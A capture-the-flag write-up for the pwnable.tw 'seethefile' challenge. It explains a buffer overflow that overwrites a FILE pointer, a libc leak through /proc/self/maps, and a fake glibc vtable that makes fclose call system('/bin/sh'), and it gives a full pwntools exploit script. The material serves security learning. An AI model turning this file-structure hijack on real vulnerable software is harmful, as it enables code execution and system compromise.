Seethefile


How this program works Link to heading

We start with a simple menu with 5 options. This is what that looks like:

---------------MENU---------------
 1. Open
 2. Read
 3. Write to screen
 4. Close
 5. Exit
----------------------------------
Your choice :

Okay this looks like a simple file reader. Looks like you can read any file in the filesystem and print it to the screen with open/read/write. Opening it up in Ghidra shows that my prediction was mostly correct. Here’s the pseudo-code generated by Ghidra for the openfile() function:

int openfile(void)

{
 int iVar1;
 char *pcVar2;
 
 if (fp == 0x0) {
   memset(magicbuf,0,400);
   printf("What do you want to see :");
   __isoc99_scanf(&DAT_08048c03,filename);
   pcVar2 = strstr(filename,"flag");
   if (pcVar2 != 0x0) {
     puts("Danger !");
                   /* WARNING: Subroutine does not return */
     exit(0);
   }
   fp = fopen(filename,"r");
   if (fp == 0x0) {
     iVar1 = puts("Open failed");
   }
   else {
     iVar1 = puts("Open Successful");
   }
 }
 else {
   puts("You need to close the file first");
   iVar1 = 0;
 }
 return iVar1;
}

Looks like we can’t just open the “flag” file for reading. We’ll have to find another way around it.

After playing with the program for a bit, I found a few primitives that proved useful. We have buffer overflows all over the place, but the main one we want to look at is when we call exit. This is what happens when you pick the 5th option:

     printf("Leave your name :");
     scanf(%s,name);
     printf("Thank you %s ,see you next time\n",name);
     if (fp != 0x0) {
       fclose(fp); 

Observing the location of “name” in memory shows that it’s placed convieniently right before the file pointer variable that is suppose to hold the file pointer for the file that was opened. Looks like we can overwrite the file pointer! Ok… What can we do with that? Well after it grabs your name, it calls fclose() on that file pointer. Within that function, there are references to the FILE * structure that the fp variable points to. Within that vtable, there are pointers called _IO_file_jumps. These pointers are used by fclose() in order to properly close the file. This is what the file structure looks like:

struct _IO_FILE {
 int _flags;  /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

 /* The following pointers correspond to the C++ streambuf protocol. */
 /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
 char* _IO_read_ptr; /* Current read pointer */
 char* _IO_read_end; /* End of get area. */
 char* _IO_read_base; /* Start of putback+get area. */
 char* _IO_write_base; /* Start of put area. */
 char* _IO_write_ptr; /* Current put pointer. */
 char* _IO_write_end; /* End of put area. */
 char* _IO_buf_base; /* Start of reserve area. */
 char* _IO_buf_end; /* End of reserve area. */
 /* The following fields are used to support backing up and undo. */
 char *_IO_save_base; /* Pointer to start of non-current get area. */
 char *_IO_backup_base;  /* Pointer to first valid character of backup area */
 char *_IO_save_end; /* Pointer to end of non-current get area. */

 struct _IO_marker *_markers;

 struct _IO_FILE *_chain;

 int _fileno;
#if 0
 int _blksize;
#else
 int _flags2;
#endif
 _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
 /* 1+column number of pbase(); 0 is unknown. */
 unsigned short _cur_column;
 signed char _vtable_offset;
 char _shortbuf[1];

 /*  char* _save_gptr;  char* _save_egptr; */

 _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

This is just the _IO_FILE struct which is only part of what we car about. We need to look at the struct that’s used for file streams: _IO_FILE_plus.

struct _IO_FILE_plus
{
 _IO_FILE file;
 const struct _IO_jump_t *vtable;
};

This Is the struct we care about because what we want to utilize are the pointers in the _IO_jump_t vtable. This table holds the pointers that the fclose() function calls in its execution. In this case we also need to take a look at the vtable to understand what we need to do when we create our fake one.

struct _IO_jump_t
{
   JUMP_FIELD(size_t, __dummy);
   JUMP_FIELD(size_t, __dummy2);
   JUMP_FIELD(_IO_finish_t, __finish);
   JUMP_FIELD(_IO_overflow_t, __overflow);
   JUMP_FIELD(_IO_underflow_t, __underflow);
   JUMP_FIELD(_IO_underflow_t, __uflow);
   JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
   /* showmany */
   JUMP_FIELD(_IO_xsputn_t, __xsputn);
   JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
   JUMP_FIELD(_IO_seekoff_t, __seekoff);
   JUMP_FIELD(_IO_seekpos_t, __seekpos);
   JUMP_FIELD(_IO_setbuf_t, __setbuf);
   JUMP_FIELD(_IO_sync_t, __sync);
   JUMP_FIELD(_IO_doallocate_t, __doallocate);
   JUMP_FIELD(_IO_read_t, __read);
   JUMP_FIELD(_IO_write_t, __write);
   JUMP_FIELD(_IO_seek_t, __seek);
   JUMP_FIELD(_IO_close_t, __close);
   JUMP_FIELD(_IO_stat_t, __stat);
   JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
   JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
   get_column;
   set_column;
#endif
};

Looks like this! Okay so we have a few functions that might get called during the fclose() function. The one we care about though is the _IO_finish_t. This gets called after releasing the lock in the fclose() function, so that’s we can overwrite with something malicious. We need to check some boxes though before we can just make that vtable:

  • Create a valid pointer at &fp
  • Make that pointer point to the buffer we control
  • Place 0xFFFFDFFF in that location to skip the _IO_IS_FILEBUF conditional and skip the file lock functions.
  • Send the program somewhere.

The Exploit Link to heading

Okay So there’s a lot of stuff to do here. This is how I created the payload. I started by leaking libc by reading a file on the file system /proc/self/maps. This file contains the addresses of different memory sections of the program.

p.recvuntil(b"Your choice :") # Skip menu
p_open(p, b"/proc/self/maps") # Open the file
p_read(p)                     # Read first 400 bytes
p_read(p)                     # Read next 400 bytes because first 400 was not enough
stuff = p_write(p)            
x = stuff[1][0:8]             # Pull the libc address
libc_start = int(x,16)        # Convert to int

We can run this on the remote server to get the address of _LIBC_start_main. Then it’s just putting all these concepts together into a full payload.

libc.address = libc_start         # Set libc address in pwntools
system = libc.symbols['system']   # Find system()
name = elf.symbols['name']        # Find my buffer
file = elf.symbols['filename']    # Grab a section of empty memory
payload = p32(0xFFFFDFFF)         # Begin payload with filebuf pass.
payload += b';/bin/sh;'           # Something for system() to actually call
payload += b"A"*(32-len(payload)) # Random chars to fill space from the struct
payload += p32(name)              # Overwrite &fp with our buffer
payload += b'`'                   # name pointer sometimes breaks w/o this
payload += b"B"*(72-len(payload)) # filling space in the file struct
payload += p32(file+0x20)         # Point this to NULL val (gets dereferenced)
payload += p32(name+0x48)         # This is the pointer to the vtable 
payload += p32(system)            # Create the _IO_finish_t function
p_exit(p, payload)                # Send the payload as we exit.

So what this essentially does is create multiple structures in memory. We have the function pointer &fp which passes all the checks. Then we have the *vtable which holds our system() pointer. fclose() in libc calls with &fp as a parameter. This is why we have ;/bin/sh; after our null value. System will try to call the first value. When it fails, it will continue on to the next agument. Here’s my full script for reference:

#!/usr/bin/env python3

from pwn import *

elf = ELF("./seethefile_patched")
libc = ELF("./libc_32.so.6")
ld = ELF("./ld-2.23.so")

context.terminal = ['tmux', 'splitw', '-h']
context.binary = elf
debug_script = '''
b fclose

'''

def conn():
    if not args.REMOTE:
        p = process([elf.path])
        if args.D:
            gdb.attach(p, gdbscript=debug_script)
    else:
        p = remote("chall.pwnable.tw", 10200)

    return p


def p_exit(p, name):
    p.sendline(b"5")
    p.recvuntil(b"Leave your name :")
    p.sendline(name)
    p.interactive()
    p.recvuntil(b"see you next time\n")

def p_open(p, filename):
    p.sendline(b"1")
    p.recvuntil(b"What do you want to see :")
    p.sendline(filename)
    p.recvuntil(b"Your choice :")

def p_read(p):
    p.sendline(b"2")
    p.recvuntil(b"Your choice :")

def p_write(p):
    p.sendline(b"3")
    return p.recvuntil(b"Your choice :").split(b'\n')

def p_close(p):
    p.sendline(b"4")
    p.recvuntil(b"Your choice :")

def main():
    p = conn()
    print(p.recvuntil(b"Your choice :"))
    p_open(p, b"/proc/self/maps")
    p_read(p)
    p_read(p)
    stuff = p_write(p)
    x = stuff[1][0:8]
    libc_start = int(x,16) 
    print("Libc: {}".format(hex(libc_start)))
    libc.address = libc_start
    system = libc.symbols['system']
    name = elf.symbols['name']
    file = elf.symbols['filename']
    payload = p32(0xFFFFDFFF)
    payload += b';/bin/sh;'
    payload += b"A"*(32-len(payload))
    payload += p32(name)
    payload += b'`'
    payload += b"B"*(72-len(payload))
    payload += p32(file+0x20)
    payload += p32(name+0x48)
    payload += p32(system)
    p_exit(p, payload)
    p.interactive()


if __name__ == "__main__":
    main()